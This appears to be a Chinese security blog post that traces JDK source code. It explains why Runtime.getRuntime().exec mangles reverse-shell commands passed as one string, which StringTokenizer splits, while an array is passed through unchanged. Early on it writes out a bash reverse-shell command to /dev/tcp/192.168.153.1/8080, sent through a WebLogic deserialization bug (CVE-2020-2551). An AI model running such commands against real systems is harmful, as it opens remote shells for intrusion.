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从JDK源码中探究Runtime#exec的限制
2022-11-25 12:40:56

前言

遇到很多次在调用Runtime.getRuntime().exec方法进行弹shell的时候遇到的各种限制,都没好好的认识认识原理,这次主要是总一个总结和原理上的分析。

环境搭建

之后使用docker起一个具有反序列化的漏洞的Java服务(能够执行命令就行)。

之后开启调试的功能,

我这里直接就是用存在的weblogic的漏洞环境,直接通过发送T3协议数据包来触发反序列化漏洞。

起因

我这里使用的是CVE-2020-2551进行利用,

我们首先进行curl命令执行看看是否可以执行命令。

image-20221124200610100.png

接下来我们使用反弹shell的命令尝试

bash -i >& /dev/tcp/192.168.153.1/8080 0>&1

image-20221124201147389.png

按照正常的逻辑,应该会成功的啊?!

但是,并没有,如图:

image-20221124201236376.png

细节

我们跟进一下Runtime执行命令的源码。

因为对于linux和windows版本的JDK有一点小区别,所以我这里在项目依赖的位置将windows版的rt.jar包替换成了linux版的rt.jar包。

好了,言归正传,开始分析Runtime.getRuntime().exec执行命令的逻辑了。

image-20221124211159273.png

在Runtime类中的exec方法存在有多个重载,大致可以分成传入的参数是一个字符串,或者是一个字符串数组进行命令执行。

字符串执行

我们首先来看看字符串作为参数的情况是怎么样的。

image-20221124211416318.png

在这个方法中将会调用this.exec((String)var1, (String[])null, (File)null)方法继续进行调用。

image-20221124211546340.png

在这个方法中,首先是传入的命令不能为空,不然会抛出异常,之后主要是创建了一个StringTokenizer对类对象,传入的构造方法参数是我们需要执行的命令字符串。

从该方法的注释中也能够看出端倪来。

image-20221124212333895.png

使用通过调用 new StringTokenizer(command) 创建的 StringTokenizer 将命令字符串分解为标记,而无需进一步修改字符类别。分词器生成的分词然后以相同的顺序放置在新的字符串数组 cmdarray 中

所以我们可以跟进StringTokenizer类的构造方法中

image-20221124213636478.png

为指定的字符串构造一个字符串分词器。分词器使用默认的分隔符集,即“\t\n\r\f”:空格字符、制表符、换行符、回车符和换页符。

也就是使用这个类将命令字符串中跟据\t\n\r\f等字符来进行分割成一块块的数组,

主要的实现方法就是在exec方法中,首先调用StringTokenizer#countTokens来初始化cmdarray这个数组对象。

image-20221124214254296.png

主要是利用skipDelimiters / scanToken这两个方法来进行切片操作的

image-20221124214341382.png

image-20221124214351239.png

之后就是调用nextToken方法来为前面初始化的数组进行赋值操作

image-20221124214459545.png

在分割成了数组之后调用exec的重载方法public Process exec(String[] cmdarray, String[] envp, File dir)

image-20221124214738521.png

终归还是回到了ProcessBuilder类对象的创建来,在Java中另一种执行命令的方式就是通过调用ProcessBuilder#start()方法来执行命令。

这里进行了environment / 工作目录的初始化之后调用了start方法进行命令执行操作。image-20221124220605915.png

这里获取的是命令字符串的分割之后的第一块,这个就是该命令执行的环境,比如/bin/sh / /bin/bash这些。

可以注意到在其后面有一个System.getSecurityManager方法的调用,这个就是通过调用checkExec方法来判断该次的命令调用是否合法,也是Java内置的一种安全管理。

image-20221124220839808.png

之后就是调用ProcessImpl.start方法进行执行了,

最后将会创建一个UNIXProcess类对象。

image-20221124221109114.png

传入的第一个参数是/bin/bash这种运行环境,第二个参数就是后面紧跟的需要执行的命令,

在这个类构造方法中,将会通过调用forkAndExec方法来创建了一个进程该方法返回了该进程的PID号。

总结

使用Runtime.getRuntime().exec()方法执行命令的时候,会将传入的字符串命令,根据\t\n\r\f等分隔符进行分割,之后在进行命令的执行。

数组执行

如果传入的参数是一个数组对象,来到的具体代码就是在public Process exec(String cmdarray[])方法的调用中。

image-20221124221755374.png

直接就来到了exec的重载方法public Process exec(String[] cmdarray, String[] envp, File dir)

image-20221124221913697.png

在这个方法中,直接就将该数组对象传入的ProcessBuilder的构造方法中,之后调用start方法进行执行。

总结

使用exec的数组作为参数传入的重载方法,不同于使用字符串的重载方法进行命令执行,

具体到代码中就是少了一步通过创建了一个StringTokenizer类对象来自动进行命令的分割,在某些情况下,将会造成命令不能执行的情况,

数组方式是直接传入的自己已经分好块的命令数组进行命令执行,Java便不会自动将本应该在一起的命令分割开来造成错误。

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